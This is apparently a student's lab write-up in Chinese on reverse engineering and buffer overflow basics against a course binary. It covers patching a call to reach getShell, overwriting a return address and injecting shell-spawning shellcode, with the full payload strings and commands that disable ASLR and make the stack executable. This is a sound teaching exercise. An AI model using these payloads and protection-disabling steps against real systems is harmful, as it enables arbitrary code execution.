20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

实践相关说明

1.1 实践目标

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

1.2 基础知识

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

JNE:条件转移指令,如果不相等则跳转。(机器码:75)

JE:条件转移指令,如果相等则跳转。(机器码:74)

JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。


  • 掌握反汇编与十六进制编程器
反汇编:objdump -d XX
进入十六进制编辑模式:进入十六进制编辑模式
查询:/
切回原模式:%!xxd -r

实践一:直接修改程序机器指令,改变程序执行流程

1.将pwn1文档重命名为pwn20155306

2.将文件进行备份cp pwn20155306 pwn,得到pwn

3.将pwn进行反汇编objdump -d

从下图的红框中我们可以得到在main函数中按正常流程应该调用foo函数,对应的机器码为08048491,现在我们想让main函数调用getshell函数,而getshell对应的机器码是0804747d。在这里我们利用两个地址的相对偏移来改变调用地址,从而使主函数调用getshell。因此,我们编辑备份文件pwn,并按ESC后,输入:%!xxd,转化为十六进制显示模式,查找要修改的内容/e8 d7(注意:在e8 d7之间要加空格,才可以查找到!

4.计算两个地址之前的偏移量。

7d比91大14,因此将d7减去14,得到新的地址c3。先按i进入编辑模式,再进行修改,修改完成后::wq来保存。如下图所示:

5.再反汇编看一下,很明显call指令正确调用getShell。

实践二:通过构造输入参数,造成BOF攻击,改变程序执行流

1.反汇编,了解程序的基本功能。

该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞。

2.确认输入字符串哪几个字符会覆盖到返回地址。通过gdb调试来尝试确定。

  • 首先,输入1111111122222222333333334444444455555555,观察各个寄存器数值。发现eip寄存器中的值为0x35353535,在ASCII码中30 即为0,因此实际为5555。因此我们将后8个“5”,换成12345678,如下图所示输入,从而判断是那几个数字进行了覆盖。

  • 观察寄存器中的值为0x34333231,同理为1、2、3、4。因此可以推出,这四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn,pwn就会运行getShell。

3.确认用什么值来覆盖返回地址。

  • 首先通过之前对文件反汇编,可以得到getShell函数的内存地址为0804847d。
  • 由于前一步中,输入1234,得到的地址为34333231。因此,getshell的地址应反着输入,正确的是:11111111222222223333333344444444\x7d\x84\x04\x08。

4.构造输入字符串

  • 因为键盘无法输入\x7d\x84\x04\x08这样的16进制数值,所以通过重定向生成包括这样字符串的一个文件。
  • \x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
  • 使用16进制查看指令xxd查看input文件的内容。

实践三:注入Shellcode并执行

1.准备一段Shellcode

  Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。这次试用一个已经生成的shellcode:
  

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2. 准备工作

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

3.构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:
    retaddr+nop+shellcode

    nop+shellcode+retaddr。

  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
    简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。

  • 本次实验,我们使用的结构为:nops+shellcode+retaddr。nop一为是了填充,二是作为“着陆区/滑行区”。
    我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

4.打开一个终端注入这段攻击buf

root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
������1�Ph//shh/bin��PS��1Ұ
                           �

5.再开另外一个终端,用gdb来调试pwn1这个进程。

root@KaliYL:/home# ps -ef | grep pwn1 //找到pwn1的进程号是


root@KaliYL:/home# gdb//启动gdb调试这个进程

(gdb) attach 27728


(gdb) disassemble foo// 通过设置断点,来查看注入buf的内存地址

(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
//!!注意:在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。

(gdb) c  
Continuing.


(gdb) info r esp //查看寄存器的值

(gdb) x/16x 0xffffd3fc  //看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd400.

root@KaliYL:~# perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

root@KaliYL:~# xxd input_shellcode

root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1

遇到的困难

问题1:每次打开想要编辑文件时,总是出现下图的提示,并且打开文件速度特别慢。

解决:上网搜索后,感觉可能是因为我刚才直接hostname baijiao 改了主机名, 所以接下来就出现这个错误,在主机里面所有的HOSTNAME应该是宏定义,应该不用自己手动改才是,所性直接重启,应该就不会出现这个故障,所以需要通过hostnamectl status查看主机状态真实的主机名是什么,然后通过hostnamectl set-hostname 主机名来真正修改主机名,最后reboot -f来重启生效,这样彻底修改之后以后就不用每次都通过hostname来修改名称了。详细操作见教程《修改hostname主机名》

解决后正确结果如图:

问题二:在进行update时,出现如下问题,非常多的错误,以及提示部分索引文件下载失败。

解决:尝试了老师给的源以及百度的很多源,都更新失败。在不断尝试中,我发现修改文件时,不一定要编辑好几个源进去,反而只放一个源可以成功,我也不清楚为什么,大家可以多尝试一下。比如我只用该教程《修改更新源》中的第一个源就成功了。

问题三:在进行GDB调试时,不管输入什么命令或者数据,都出现not found。

解决:原因是 kali默认是不支持运行32位的程序的。需要添加32位程序的相关运行库。因此,按照老师给的教程进行安装就可以调试成功啦,见教程《64位Kali无法顺利执行pwn1问题的解决方案》

posted on 2018-03-07 23:43  20155306  阅读(340)  评论(1编辑  收藏  举报

导航